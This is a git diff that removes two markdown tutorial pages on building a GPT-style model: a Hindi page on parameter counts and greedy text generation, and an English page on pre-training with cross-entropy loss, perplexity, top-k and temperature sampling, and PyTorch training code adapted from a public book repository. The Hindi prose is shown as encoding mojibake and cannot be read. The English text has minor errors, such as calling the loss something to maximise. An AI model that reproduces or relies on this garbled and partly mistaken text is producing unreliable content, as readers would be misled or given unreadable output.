рдиреЙрд░реНрдорд▓рд╛рдЗрдЬреЗрд╢рди** - -- **рдШрдЯрдХ:** -- рдкреНрд░рддреНрдпреЗрдХ рдмреНрд▓реЙрдХ рдореЗрдВ рджреЛ `LayerNorm` рдЙрджрд╛рд╣рд░рдгред -- рдкреНрд░рддреНрдпреЗрдХ `LayerNorm` рдореЗрдВ `2 * emb_dim` рдкреИрд░рд╛рдореАрдЯрд░ рд╣реЛрддреЗ рд╣реИрдВ (рд╕реНрдХреЗрд▓ рдФрд░ рд╢рд┐рдлреНрдЯ)ред -- **рдЧрдгрдирд╛рдПрдБ:** - -```python -layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072 -``` - -**d. рдкреНрд░рддреНрдпреЗрдХ рдЯреНрд░рд╛рдВрд╕рдлрд╛рд░реНрдорд░ рдмреНрд▓реЙрдХ рдХреЗ рд▓рд┐рдП рдХреБрд▓ рдкреИрд░рд╛рдореАрдЯрд░** -```python -pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block -params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568 -``` -**рд╕рднреА рдЯреНрд░рд╛рдВрд╕рдлрд╛рд░реНрдорд░ рдмреНрд▓реЙрдХреНрд╕ рдХреЗ рд▓рд┐рдП рдХреБрд▓ рдкреИрд░рд╛рдореАрдЯрд░** -```python -pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers -total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816 -``` -#### **3. рдЕрдВрддрд┐рдо рдкрд░рддреЗрдВ** - -**рдХ. рдЕрдВрддрд┐рдо рдкрд░рдд рд╕рд╛рдорд╛рдиреНрдпреАрдХрд░рдг** - -- **рдкреИрд░рд╛рдореАрдЯрд░:** `2 * emb_dim` (рд╕реНрдХреЗрд▓ рдФрд░ рд╢рд┐рдлреНрдЯ) -```python -pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536 -``` -**b. рдЖрдЙрдЯрдкреБрдЯ рдкреНрд░реЛрдЬреЗрдХреНрд╢рди рд▓реЗрдпрд░ (`out_head`)** - -- **рд▓реЗрдпрд░:** `nn.Linear(emb_dim, vocab_size, bias=False)` -- **рдкреИрд░рд╛рдореАрдЯрд░реНрд╕:** `emb_dim * vocab_size` -```python -pythonCopy codeoutput_projection_params = 768 * 50257 = 38,597,376 -``` -#### **4. рд╕рднреА рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдпреЛрдЧ** -```python -pythonCopy codetotal_params = ( -embedding_params + -total_transformer_blocks_params + -final_layer_norm_params + -output_projection_params -) -total_params = ( -39,383,808 + -85,026,816 + -1,536 + -38,597,376 -) -total_params = 163,009,536 -``` -## Generate Text - -рдПрдХ рдРрд╕рд╛ рдореЙрдбрд▓ рд╣реЛрдирд╛ рдЬреЛ рдЕрдЧрд▓реЗ рдЯреЛрдХрди рдХреА рднрд╡рд┐рд╖реНрдпрд╡рд╛рдгреА рдХрд░рддрд╛ рд╣реИ рдЬреИрд╕реЗ рдХрд┐ рдкрд┐рдЫрд▓реЗ рд╡рд╛рд▓реЗ, рдХреЗрд╡рд▓ рдЕрдВрддрд┐рдо рдЯреЛрдХрди рдорд╛рдиреЛрдВ рдХреЛ рдЖрдЙрдЯрдкреБрдЯ рд╕реЗ рд▓реЗрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ (рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рднрд╡рд┐рд╖реНрдпрд╡рд╛рдгреА рдХрд┐рдП рдЧрдП рдЯреЛрдХрди рдХреЗ рд╣реЛрдВрдЧреЗ), рдЬреЛ рдХрд┐ **рд╢рдмреНрджрд╛рд╡рд▓реА рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХреЗ рд▓рд┐рдП рдПрдХ рдорд╛рди** рд╣реЛрдЧрд╛ рдФрд░ рдлрд┐рд░ `softmax` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдпрд╛рдореЛрдВ рдХреЛ рдЙрди рд╕рдВрднрд╛рд╡рдирд╛рдУрдВ рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдЬреЛ 1 рдХреЗ рдмрд░рд╛рдмрд░ рд╣реЛрддреА рд╣реИрдВ рдФрд░ рдлрд┐рд░ рд╕рдмрд╕реЗ рдмрдбрд╝реЗ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХрд╛ рдЕрдиреБрдХреНрд░рдорд╛рдВрдХ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛, рдЬреЛ рд╢рдмреНрджрд╛рд╡рд▓реА рдХреЗ рднреАрддрд░ рд╢рдмреНрдж рдХрд╛ рдЕрдиреБрдХреНрд░рдорд╛рдВрдХ рд╣реЛрдЧрд╛ред - -Code from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb): -```python -def generate_text_simple(model, idx, max_new_tokens, context_size): -# idx is (batch, n_tokens) array of indices in the current context -for _ in range(max_new_tokens): - -# Crop current context if it exceeds the supported context size -# E.g., if LLM supports only 5 tokens, and the context size is 10 -# then only the last 5 tokens are used as context -idx_cond = idx[:, -context_size:] - -# Get the predictions -with torch.no_grad(): -logits = model(idx_cond) - -# Focus only on the last time step -# (batch, n_tokens, vocab_size) becomes (batch, vocab_size) -logits = logits[:, -1, :] - -# Apply softmax to get probabilities -probas = torch.softmax(logits, dim=-1) # (batch, vocab_size) - -# Get the idx of the vocab entry with the highest probability value -idx_next = torch.argmax(probas, dim=-1, keepdim=True) # (batch, 1) - -# Append sampled index to the running sequence -idx = torch.cat((idx, idx_next), dim=1) # (batch, n_tokens+1) - -return idx - - -start_context = "Hello, I am" - -encoded = tokenizer.encode(start_context) -print("encoded:", encoded) - -encoded_tensor = torch.tensor(encoded).unsqueeze(0) -print("encoded_tensor.shape:", encoded_tensor.shape) - -model.eval() # disable dropout - -out = generate_text_simple( -model=model, -idx=encoded_tensor, -max_new_tokens=6, -context_size=GPT_CONFIG_124M["context_length"] -) - -print("Output:", out) -print("Output length:", len(out[0])) -``` -## рд╕рдВрджрд░реНрдн - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md b/src/todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md deleted file mode 100644 index a9e0a9bb9..000000000 --- a/src/todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md +++ /dev/null @@ -1,970 +0,0 @@ -# 6. Pre-training & Loading models - -## Text Generation - -In order to train a model we will need that model to be able to generate new tokens. Then we will compare the generated tokens with the expected ones in order to train the model into **learning the tokens it needs to generate**. - -As in the previous examples we already predicted some tokens, it's possible to reuse that function for this purpose. - -> [!TIP] -> The goal of this sixth phase is very simple: **Train the model from scratch**. For this the previous LLM architecture will be used with some loops going over the data sets using the defined loss functions and optimizer to train all the parameters of the model. - -## Text Evaluation - -In order to perform a correct training it's needed to measure check the predictions obtained for the expected token. The goal of the training is to maximize the likelihood of the correct token, which involves increasing its probability relative to other tokens. - -In order to maximize the probability of the correct token, the weights of the model must be modified to that probability is maximised. The updates of the weights is done via **backpropagation**. This requires a **loss function to maximize**. In this case, the function will be the **difference between the performed prediction and the desired one**. - -However, instead of working with the raw predictions, it will work with a logarithm with base n. So if the current prediction of the expected token was 7.4541e-05, the natural logarithm (baseтАп*e*) of **7.4541e-05** is approximately **-9.5042**.\ -Then, for each entry with a context length of 5 tokens for example, the model will need to predict 5 tokens, being the first 4 tokens the last one of the input and the fifth the predicted one. Therefore, for each entry we will have 5 predictions in that case (even if the first 4 ones were in the input the model doesn't know this) with 5 expected token and therefore 5 probabilities to maximize. - -Therefore, after performing the natural logarithm to each prediction, the **average** is calculated, the **minus symbol removed** (this is called _cross entropy loss_) and thats the **number to reduce as close to 0 as possible** because the natural logarithm of 1 is 0: - -

https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233

- -Another way to measure how good the model is is called perplexity. **Perplexity** is a metric used to evaluate how well a probability model predicts a sample. In language modelling, it represents the **model's uncertainty** when predicting the next token in a sequence.\ -For example, a perplexity value of 48725, means that when needed to predict a token it's unsure about which among 48,725 tokens in the vocabulary is the good one. - -## Pre-Train Example - -This is the initial code proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) some times slightly modify - -
- -Previous code used here but already explained in previous sections - -```python -""" -This is code explained before so it won't be exaplained -""" - -import tiktoken -import torch -import torch.nn as nn -from torch.utils.data import Dataset, DataLoader - - -class GPTDatasetV1(Dataset): - def __init__(self, txt, tokenizer, max_length, stride): - self.input_ids = [] - self.target_ids = [] - - # Tokenize the entire text - token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"}) - - # Use a sliding window to chunk the book into overlapping sequences of max_length - for i in range(0, len(token_ids) - max_length, stride): - input_chunk = token_ids[i:i + max_length] - target_chunk = token_ids[i + 1: i + max_length + 1] - self.input_ids.append(torch.tensor(input_chunk)) - self.target_ids.append(torch.tensor(target_chunk)) - - def __len__(self): - return len(self.input_ids) - - def __getitem__(self, idx): - return self.input_ids[idx], self.target_ids[idx] - - -def create_dataloader_v1(txt, batch_size=4, max_length=256, - stride=128, shuffle=True, drop_last=True, num_workers=0): - # Initialize the tokenizer - tokenizer = tiktoken.get_encoding("gpt2") - - # Create dataset - dataset = GPTDatasetV1(txt, tokenizer, max_length, stride) - - # Create dataloader - dataloader = DataLoader( - dataset, batch_size=batch_size, shuffle=shuffle, drop_last=drop_last, num_workers=num_workers) - - return dataloader - - -class MultiHeadAttention(nn.Module): - def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False): - super().__init__() - assert d_out % num_heads == 0, "d_out must be divisible by n_heads" - - self.d_out = d_out - self.num_heads = num_heads - self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim - - self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias) - self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias) - self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias) - self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs - self.dropout = nn.Dropout(dropout) - self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) - - def forward(self, x): - b, num_tokens, d_in = x.shape - - keys = self.W_key(x) # Shape: (b, num_tokens, d_out) - queries = self.W_query(x) - values = self.W_value(x) - - # We implicitly split the matrix by adding a `num_heads` dimension - # Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim) - keys = keys.view(b, num_tokens, self.num_heads, self.head_dim) - values = values.view(b, num_tokens, self.num_heads, self.head_dim) - queries = queries.view(b, num_tokens, self.num_heads, self.head_dim) - - # Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim) - keys = keys.transpose(1, 2) - queries = queries.transpose(1, 2) - values = values.transpose(1, 2) - - # Compute scaled dot-product attention (aka self-attention) with a causal mask - attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head - - # Original mask truncated to the number of tokens and converted to boolean - mask_bool = self.mask.bool()[:num_tokens, :num_tokens] - - # Use the mask to fill attention scores - attn_scores.masked_fill_(mask_bool, -torch.inf) - - attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1) - attn_weights = self.dropout(attn_weights) - - # Shape: (b, num_tokens, num_heads, head_dim) - context_vec = (attn_weights @ values).transpose(1, 2) - - # Combine heads, where self.d_out = self.num_heads * self.head_dim - context_vec = context_vec.reshape(b, num_tokens, self.d_out) - context_vec = self.out_proj(context_vec) # optional projection - - return context_vec - - -class LayerNorm(nn.Module): - def __init__(self, emb_dim): - super().__init__() - self.eps = 1e-5 - self.scale = nn.Parameter(torch.ones(emb_dim)) - self.shift = nn.Parameter(torch.zeros(emb_dim)) - - def forward(self, x): - mean = x.mean(dim=-1, keepdim=True) - var = x.var(dim=-1, keepdim=True, unbiased=False) - norm_x = (x - mean) / torch.sqrt(var + self.eps) - return self.scale * norm_x + self.shift - - -class GELU(nn.Module): - def __init__(self): - super().__init__() - - def forward(self, x): - return 0.5 * x * (1 + torch.tanh( - torch.sqrt(torch.tensor(2.0 / torch.pi)) * - (x + 0.044715 * torch.pow(x, 3)) - )) - - -class FeedForward(nn.Module): - def __init__(self, cfg): - super().__init__() - self.layers = nn.Sequential( - nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]), - GELU(), - nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]), - ) - - def forward(self, x): - return self.layers(x) - - -class TransformerBlock(nn.Module): - def __init__(self, cfg): - super().__init__() - self.att = MultiHeadAttention( - d_in=cfg["emb_dim"], - d_out=cfg["emb_dim"], - context_length=cfg["context_length"], - num_heads=cfg["n_heads"], - dropout=cfg["drop_rate"], - qkv_bias=cfg["qkv_bias"]) - self.ff = FeedForward(cfg) - self.norm1 = LayerNorm(cfg["emb_dim"]) - self.norm2 = LayerNorm(cfg["emb_dim"]) - self.drop_shortcut = nn.Dropout(cfg["drop_rate"]) - - def forward(self, x): - # Shortcut connection for attention block - shortcut = x - x = self.norm1(x) - x = self.att(x) # Shape [batch_size, num_tokens, emb_size] - x = self.drop_shortcut(x) - x = x + shortcut # Add the original input back - - # Shortcut connection for feed-forward block - shortcut = x - x = self.norm2(x) - x = self.ff(x) - x = self.drop_shortcut(x) - x = x + shortcut # Add the original input back - - return x - - -class GPTModel(nn.Module): - def __init__(self, cfg): - super().__init__() - self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"]) - self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"]) - self.drop_emb = nn.Dropout(cfg["drop_rate"]) - - self.trf_blocks = nn.Sequential( - *[TransformerBlock(cfg) for _ in range(cfg["n_layers"])]) - - self.final_norm = LayerNorm(cfg["emb_dim"]) - self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False) - - def forward(self, in_idx): - batch_size, seq_len = in_idx.shape - tok_embeds = self.tok_emb(in_idx) - pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device)) - x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size] - x = self.drop_emb(x) - x = self.trf_blocks(x) - x = self.final_norm(x) - logits = self.out_head(x) - return logits -``` - -
- -```python -# Download contents to train the data with -import os -import urllib.request - -file_path = "the-verdict.txt" -url = "https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt" - -if not os.path.exists(file_path): - with urllib.request.urlopen(url) as response: - text_data = response.read().decode('utf-8') - with open(file_path, "w", encoding="utf-8") as file: - file.write(text_data) -else: - with open(file_path, "r", encoding="utf-8") as file: - text_data = file.read() - -total_characters = len(text_data) -tokenizer = tiktoken.get_encoding("gpt2") -total_tokens = len(tokenizer.encode(text_data)) - -print("Data downloaded") -print("Characters:", total_characters) -print("Tokens:", total_tokens) - -# Model initialization -GPT_CONFIG_124M = { - "vocab_size": 50257, # Vocabulary size - "context_length": 256, # Shortened context length (orig: 1024) - "emb_dim": 768, # Embedding dimension - "n_heads": 12, # Number of attention heads - "n_layers": 12, # Number of layers - "drop_rate": 0.1, # Dropout rate - "qkv_bias": False # Query-key-value bias -} - -torch.manual_seed(123) -model = GPTModel(GPT_CONFIG_124M) -model.eval() -print ("Model initialized") - - -# Functions to transform from tokens to ids and from to ids to tokens -def text_to_token_ids(text, tokenizer): - encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'}) - encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension - return encoded_tensor - -def token_ids_to_text(token_ids, tokenizer): - flat = token_ids.squeeze(0) # remove batch dimension - return tokenizer.decode(flat.tolist()) - - - -# Define loss functions -def calc_loss_batch(input_batch, target_batch, model, device): - input_batch, target_batch = input_batch.to(device), target_batch.to(device) - logits = model(input_batch) - loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten()) - return loss - - -def calc_loss_loader(data_loader, model, device, num_batches=None): - total_loss = 0. - if len(data_loader) == 0: - return float("nan") - elif num_batches is None: - num_batches = len(data_loader) - else: - # Reduce the number of batches to match the total number of batches in the data loader - # if num_batches exceeds the number of batches in the data loader - num_batches = min(num_batches, len(data_loader)) - for i, (input_batch, target_batch) in enumerate(data_loader): - if i < num_batches: - loss = calc_loss_batch(input_batch, target_batch, model, device) - total_loss += loss.item() - else: - break - return total_loss / num_batches - - -# Apply Train/validation ratio and create dataloaders -train_ratio = 0.90 -split_idx = int(train_ratio * len(text_data)) -train_data = text_data[:split_idx] -val_data = text_data[split_idx:] - -torch.manual_seed(123) - -train_loader = create_dataloader_v1( - train_data, - batch_size=2, - max_length=GPT_CONFIG_124M["context_length"], - stride=GPT_CONFIG_124M["context_length"], - drop_last=True, - shuffle=True, - num_workers=0 -) - -val_loader = create_dataloader_v1( - val_data, - batch_size=2, - max_length=GPT_CONFIG_124M["context_length"], - stride=GPT_CONFIG_124M["context_length"], - drop_last=False, - shuffle=False, - num_workers=0 -) - - -# Sanity checks -if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]: - print("Not enough tokens for the training loader. " - "Try to lower the `GPT_CONFIG_124M['context_length']` or " - "increase the `training_ratio`") - -if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]: - print("Not enough tokens for the validation loader. " - "Try to lower the `GPT_CONFIG_124M['context_length']` or " - "decrease the `training_ratio`") - -print("Train loader:") -for x, y in train_loader: - print(x.shape, y.shape) - -print("\nValidation loader:") -for x, y in val_loader: - print(x.shape, y.shape) - -train_tokens = 0 -for input_batch, target_batch in train_loader: - train_tokens += input_batch.numel() - -val_tokens = 0 -for input_batch, target_batch in val_loader: - val_tokens += input_batch.numel() - -print("Training tokens:", train_tokens) -print("Validation tokens:", val_tokens) -print("All tokens:", train_tokens + val_tokens) - - -# Indicate the device to use -if torch.cuda.is_available(): - device = torch.device("cuda") -elif torch.backends.mps.is_available(): - device = torch.device("mps") -else: - device = torch.device("cpu") - -print(f"Using {device} device.") - -model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes - - - -# Pre-calculate losses without starting yet -torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader - -with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet - train_loss = calc_loss_loader(train_loader, model, device) - val_loss = calc_loss_loader(val_loader, model, device) - -print("Training loss:", train_loss) -print("Validation loss:", val_loss) - - -# Functions to train the data -def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs, - eval_freq, eval_iter, start_context, tokenizer): - # Initialize lists to track losses and tokens seen - train_losses, val_losses, track_tokens_seen = [], [], [] - tokens_seen, global_step = 0, -1 - - # Main training loop - for epoch in range(num_epochs): - model.train() # Set model to training mode - - for input_batch, target_batch in train_loader: - optimizer.zero_grad() # Reset loss gradients from previous batch iteration - loss = calc_loss_batch(input_batch, target_batch, model, device) - loss.backward() # Calculate loss gradients - optimizer.step() # Update model weights using loss gradients - tokens_seen += input_batch.numel() - global_step += 1 - - # Optional evaluation step - if global_step % eval_freq == 0: - train_loss, val_loss = evaluate_model( - model, train_loader, val_loader, device, eval_iter) - train_losses.append(train_loss) - val_losses.append(val_loss) - track_tokens_seen.append(tokens_seen) - print(f"Ep {epoch+1} (Step {global_step:06d}): " - f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}") - - # Print a sample text after each epoch - generate_and_print_sample( - model, tokenizer, device, start_context - ) - - return train_losses, val_losses, track_tokens_seen - - -def evaluate_model(model, train_loader, val_loader, device, eval_iter): - model.eval() - with torch.no_grad(): - train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter) - val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter) - model.train() - return train_loss, val_loss - - -def generate_and_print_sample(model, tokenizer, device, start_context): - model.eval() - context_size = model.pos_emb.weight.shape[0] - encoded = text_to_token_ids(start_context, tokenizer).to(device) - with torch.no_grad(): - token_ids = generate_text( - model=model, idx=encoded, - max_new_tokens=50, context_size=context_size - ) - decoded_text = token_ids_to_text(token_ids, tokenizer) - print(decoded_text.replace("\n", " ")) # Compact print format - model.train() - - -# Start training! -import time -start_time = time.time() - -torch.manual_seed(123) -model = GPTModel(GPT_CONFIG_124M) -model.to(device) -optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1) - -num_epochs = 10 -train_losses, val_losses, tokens_seen = train_model_simple( - model, train_loader, val_loader, optimizer, device, - num_epochs=num_epochs, eval_freq=5, eval_iter=5, - start_context="Every effort moves you", tokenizer=tokenizer -) - -end_time = time.time() -execution_time_minutes = (end_time - start_time) / 60 -print(f"Training completed in {execution_time_minutes:.2f} minutes.") - - - -# Show graphics with the training process -import matplotlib.pyplot as plt -from matplotlib.ticker import MaxNLocator -import math -def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses): - fig, ax1 = plt.subplots(figsize=(5, 3)) - ax1.plot(epochs_seen, train_losses, label="Training loss") - ax1.plot( - epochs_seen, val_losses, linestyle="-.", label="Validation loss" - ) - ax1.set_xlabel("Epochs") - ax1.set_ylabel("Loss") - ax1.legend(loc="upper right") - ax1.xaxis.set_major_locator(MaxNLocator(integer=True)) - ax2 = ax1.twiny() - ax2.plot(tokens_seen, train_losses, alpha=0) - ax2.set_xlabel("Tokens seen") - fig.tight_layout() - plt.show() - - # Compute perplexity from the loss values - train_ppls = [math.exp(loss) for loss in train_losses] - val_ppls = [math.exp(loss) for loss in val_losses] - # Plot perplexity over tokens seen - plt.figure() - plt.plot(tokens_seen, train_ppls, label='Training Perplexity') - plt.plot(tokens_seen, val_ppls, label='Validation Perplexity') - plt.xlabel('Tokens Seen') - plt.ylabel('Perplexity') - plt.title('Perplexity over Training') - plt.legend() - plt.show() - -epochs_tensor = torch.linspace(0, num_epochs, len(train_losses)) -plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses) - - -torch.save({ - "model_state_dict": model.state_dict(), - "optimizer_state_dict": optimizer.state_dict(), - }, -"/tmp/model_and_optimizer.pth" -) -``` - -Let's see an explanation step by step - -### Functions to transform text <--> ids - -These are some simple functions that can be used to transform from texts from the vocabulary to ids and backwards. This is needed at the begging of the handling of the text and at the end fo the predictions: - -```python -# Functions to transform from tokens to ids and from to ids to tokens -def text_to_token_ids(text, tokenizer): - encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'}) - encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension - return encoded_tensor - -def token_ids_to_text(token_ids, tokenizer): - flat = token_ids.squeeze(0) # remove batch dimension - return tokenizer.decode(flat.tolist()) -``` - -### Generate text functions - -In a previos section a function that just got the **most probable token** after getting the logits. However, this will mean that for each entry the same output is always going to be generated which makes it very deterministic. - -The following `generate_text` function, will apply the `top-k` , `temperature` and `multinomial` concepts. - -- The **`top-k`** means that we will start reducing to `-inf` all the probabilities of all the tokens expect of the top k tokens. So, if k=3, before making a decision only the 3 most probably tokens will have a probability different from `-inf`. -- The **`temperature`** means that every probability will be divided by the temperature value. A value of `0.1` will improve the highest probability compared with the lowest one, while a temperature of `5` for example will make it more flat. This helps to improve to variation in responses we would like the LLM to have. -- After applying the temperature, a **`softmax`** function is applied again to make all the reminding tokens have a total probability of 1. -- Finally, instead of choosing the token with the biggest probability, the function **`multinomial`** is applied to **predict the next token according to the final probabilities**. So if token 1 had a 70% of probabilities, token 2 a 20% and token 3 a 10%, 70% of the times token 1 will be selected, 20% of the times it will be token 2 and 10% of the times will be 10%. - -```python -# Generate text function -def generate_text(model, idx, max_new_tokens, context_size, temperature=0.0, top_k=None, eos_id=None): - - # For-loop is the same as before: Get logits, and only focus on last time step - for _ in range(max_new_tokens): - idx_cond = idx[:, -context_size:] - with torch.no_grad(): - logits = model(idx_cond) - logits = logits[:, -1, :] - - # New: Filter logits with top_k sampling - if top_k is not None: - # Keep only top_k values - top_logits, _ = torch.topk(logits, top_k) - min_val = top_logits[:, -1] - logits = torch.where(logits < min_val, torch.tensor(float("-inf")).to(logits.device), logits) - - # New: Apply temperature scaling - if temperature > 0.0: - logits = logits / temperature - - # Apply softmax to get probabilities - probs = torch.softmax(logits, dim=-1) # (batch_size, context_len) - - # Sample from the distribution - idx_next = torch.multinomial(probs, num_samples=1) # (batch_size, 1) - - # Otherwise same as before: get idx of the vocab entry with the highest logits value - else: - idx_next = torch.argmax(logits, dim=-1, keepdim=True) # (batch_size, 1) - - if idx_next == eos_id: # Stop generating early if end-of-sequence token is encountered and eos_id is specified - break - - # Same as before: append sampled index to the running sequence - idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1) - - return idx -``` - -> [!NOTE] -> There is a common alternative to `top-k` called [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), also known as nucleus sampling, which instead of getting k samples with the most probability, it **organizes** all the resulting **vocabulary** by probabilities and **sums** them from the highest probability to the lowest until a **threshold is reached**. -> -> Then, **only those words** of the vocabulary will be considered according to their relative probabilities -> -> This allows to not need to select a number of `k` samples, as the optimal k might be different on each case, but **only a threshold**. -> -> _Note that this improvement isn't included in the previous code._ - -> [!NOTE] -> Another way to improve the generated text is by using **Beam search** instead of the greedy search sued in this example.\ -> Unlike greedy search, which selects the most probable next word at each step and builds a single sequence, **beam search keeps track of the top ЁЭСШ k highest-scoring partial sequences** (called "beams") at each step. By exploring multiple possibilities simultaneously, it balances efficiency and quality, increasing the chances of **finding a better overall** sequence that might be missed by the greedy approach due to early, suboptimal choices. -> -> _Note that this improvement isn't included in the previous code._ - -### Loss functions - -The **`calc_loss_batch`** function calculates the cross entropy of the a prediction of a single batch.\ -The **`calc_loss_loader`** gets the cross entropy of all the batches and calculates the **average cross entropy**. - -```python -# Define loss functions -def calc_loss_batch(input_batch, target_batch, model, device): - input_batch, target_batch = input_batch.to(device), target_batch.to(device) - logits = model(input_batch) - loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten()) - return loss - -def calc_loss_loader(data_loader, model, device, num_batches=None): - total_loss = 0. - if len(data_loader) == 0: - return float("nan") - elif num_batches is None: - num_batches = len(data_loader) - else: - # Reduce the number of batches to match the total number of batches in the data loader - # if num_batches exceeds the number of batches in the data loader - num_batches = min(num_batches, len(data_loader)) - for i, (input_batch, target_batch) in enumerate(data_loader): - if i < num_batches: - loss = calc_loss_batch(input_batch, target_batch, model, device) - total_loss += loss.item() - else: - break - return total_loss / num_batches -``` - -> [!NOTE] -> **Gradient clipping** is a technique used to enhance **training stability** in large neural networks by setting a **maximum threshold** for gradient magnitudes. When gradients exceed this predefined `max_norm`, they are scaled down proportionally to ensure that updates to the modelтАЩs parameters remain within a manageable range, preventing issues like exploding gradients and ensuring more controlled and stable training. -> -> _Note that this improvement isn't included in the previous code._ -> -> Check the following example: - -
- -### Loading Data - -The functions `create_dataloader_v1` and `create_dataloader_v1` were already discussed in a previous section. - -From here note how it's defined that 90% of the text is going to be used for training while the 10% will be used for validation and both sets are stored in 2 different data loaders.\ -Note that some times part of the data set is also left for a testing set to evaluate better the performance of the model. - -Both data loaders are using the same batch size, maximum length and stride and num workers (0 in this case).\ -The main differences are the data used by each, and the the validators is not dropping the last neither shuffling the data is it's not needed for validation purposes. - -Also the fact that **stride is as big as the context length**, means that there won't be overlapping between contexts used to train the data (reduces overfitting but also the training data set). - -Moreover, note that the batch size in this case it 2 to divide the data in 2 batches, the main goal of this is to allow parallel processing and reduce the consumption per batch. - -```python -train_ratio = 0.90 -split_idx = int(train_ratio * len(text_data)) -train_data = text_data[:split_idx] -val_data = text_data[split_idx:] - -torch.manual_seed(123) - -train_loader = create_dataloader_v1( - train_data, - batch_size=2, - max_length=GPT_CONFIG_124M["context_length"], - stride=GPT_CONFIG_124M["context_length"], - drop_last=True, - shuffle=True, - num_workers=0 -) - -val_loader = create_dataloader_v1( - val_data, - batch_size=2, - max_length=GPT_CONFIG_124M["context_length"], - stride=GPT_CONFIG_124M["context_length"], - drop_last=False, - shuffle=False, - num_workers=0 -) -``` - -## Sanity Checks - -The goal is to check there are enough tokens for training, shapes are the expected ones and get some info about the number of tokens used for training and for validation: - -```python -# Sanity checks -if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]: - print("Not enough tokens for the training loader. " - "Try to lower the `GPT_CONFIG_124M['context_length']` or " - "increase the `training_ratio`") - -if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]: - print("Not enough tokens for the validation loader. " - "Try to lower the `GPT_CONFIG_124M['context_length']` or " - "decrease the `training_ratio`") - -print("Train loader:") -for x, y in train_loader: - print(x.shape, y.shape) - -print("\nValidation loader:") -for x, y in val_loader: - print(x.shape, y.shape) - -train_tokens = 0 -for input_batch, target_batch in train_loader: - train_tokens += input_batch.numel() - -val_tokens = 0 -for input_batch, target_batch in val_loader: - val_tokens += input_batch.numel() - -print("Training tokens:", train_tokens) -print("Validation tokens:", val_tokens) -print("All tokens:", train_tokens + val_tokens) -``` - -### Select device for training & pre calculations - -The following code just select the 